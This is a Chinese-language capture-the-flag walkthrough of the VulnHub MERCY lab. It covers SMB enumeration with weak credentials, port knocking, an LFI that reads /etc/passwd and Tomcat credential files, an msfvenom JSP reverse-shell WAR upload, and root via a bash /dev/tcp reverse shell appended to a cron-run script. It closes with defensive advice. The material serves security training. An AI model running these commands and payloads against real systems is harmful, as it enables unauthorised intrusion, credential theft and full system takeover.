[Vulnhub] MERCY SMB+RIPS-LFI+Tomcat+Ports-Knocking+Timeclock权限提升
字数 1423 2025-08-19 12:40:48
MERCY靶机渗透测试详细教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行全端口扫描:
nmap -p- 192.168.101.151 --min-rate 1000 -sC -sV
发现开放端口:
- 53/tcp - DNS (ISC BIND 9.9.5-3ubuntu0.17)
- 110/tcp - POP3 (Dovecot)
- 139/tcp - NetBIOS/SMB
- 143/tcp - IMAP (Dovecot)
- 445/tcp - SMB (Samba 4.3.11-Ubuntu)
- 993/tcp - SSL/IMAP
- 995/tcp - SSL/POP3
- 8080/tcp - HTTP (Apache Tomcat)
1.2 检查Tomcat
访问Tomcat管理界面:
http://192.168.101.151:8080/manager/html
查看robots.txt发现提示:
http://192.168.101.151:8080/robots.txt
解码base64信息:
echo 'SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==' | base64 -d
解码后信息提示密码安全性问题。
2. SMB服务利用
2.1 枚举SMB用户
使用enum4linux枚举用户:
enum4linux 192.168.101.151
发现用户凭据:
- 用户名: qiu
- 密码: password
2.2 访问SMB共享
使用smbmap检查共享权限:
smbmap -H 192.168.101.151 -u 'qiu' -p 'password'
递归列出共享内容:
smbmap -H 192.168.101.151 -u 'qiu' -p 'password' -s qiu -r --depth 10
使用smbclient连接并下载文件:
smbclient //192.168.101.151/qiu -U qiu
smb: \> lcd ./dev
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
检查下载的配置文件:
cat .private/opensesame/config
发现端口敲门序列:
- HTTP: 159, 27391, 4
- SSH: 17301, 28504, 9999
3. 端口敲门与进一步枚举
3.1 执行端口敲门
开放SSH端口:
knock 192.168.101.151 17301 28504 9999 -d 300 -v
开放HTTP端口:
knock 192.168.101.151 159 27391 4 -d 300 -v
3.2 目录爆破
使用dirb进行目录爆破:
dirb http://192.168.101.151/
发现以下路径:
http://192.168.101.151/robots.txt
http://192.168.101.151/nomercy/
http://192.168.101.151/mercy/
3.3 LFI漏洞利用
发现LFI漏洞:
http://192.168.101.151/nomercy/windows/code.php?file=etc/passwd
利用LFI读取Tomcat用户配置:
http://192.168.101.151/nomercy/windows/code.php?file=var/lib/tomcat7/conf/tomcat-users.xml
获取Tomcat凭据:
- 用户名: fluffy
- 密码: freakishfluffybunny
- 用户名: thisisasuperduperlonguser
- 密码: heartbreakisinevitable
4. Tomcat利用
4.1 访问Tomcat管理界面
使用获取的凭据登录:
http://192.168.101.151:8080/manager/html
4.2 部署反向Shell
生成war格式的反向shell:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.101.128 LPORT=10032 -f war > reverse.war
上传并访问reverse.war获取反向shell。
5. 权限提升
5.1 初始访问
获取tomcat7用户shell后,尝试切换到fluffy用户:
su fluffy
使用密码: freakishfluffybunny
5.2 查找敏感文件
检查fluffy用户目录:
ls -la /home/fluffy/.private/secrets
发现timeclock文件可能被定期执行。
5.3 权限提升方法
方法一:使用pspy监控进程:
./pspy32
方法二:向timeclock写入反向shell:
echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.128/10034 0>&1'" >> /home/fluffy/.private/secrets/timeclock
等待定时任务执行获取root权限。
6. 获取Flag
- Local.txt内容:
Plz have mercy on me!
- Proof.txt内容:
Congratulations on rooting MERCY. :-)
关键知识点总结
-
密码安全性:靶机中多次出现弱密码问题,如"password"、"freakishfluffybunny"等
-
SMB枚举:使用enum4linux和smbmap工具枚举SMB共享和用户
-
端口敲门:通过特定端口序列触发服务开放
-
LFI漏洞:利用本地文件包含读取系统敏感文件
-
Tomcat管理界面利用:通过上传war文件获取反向shell
-
定时任务提权:通过监控进程发现并利用定时任务实现权限提升
-
隐蔽数据存储:敏感信息常存储在隐藏目录(.private)中
防御建议
- 使用强密码策略,避免简单密码
- 限制SMB共享的匿名访问
- 禁用不必要的服务
- 及时修补LFI漏洞
- 限制Tomcat管理界面的访问
- 监控系统定时任务
- 实施最小权限原则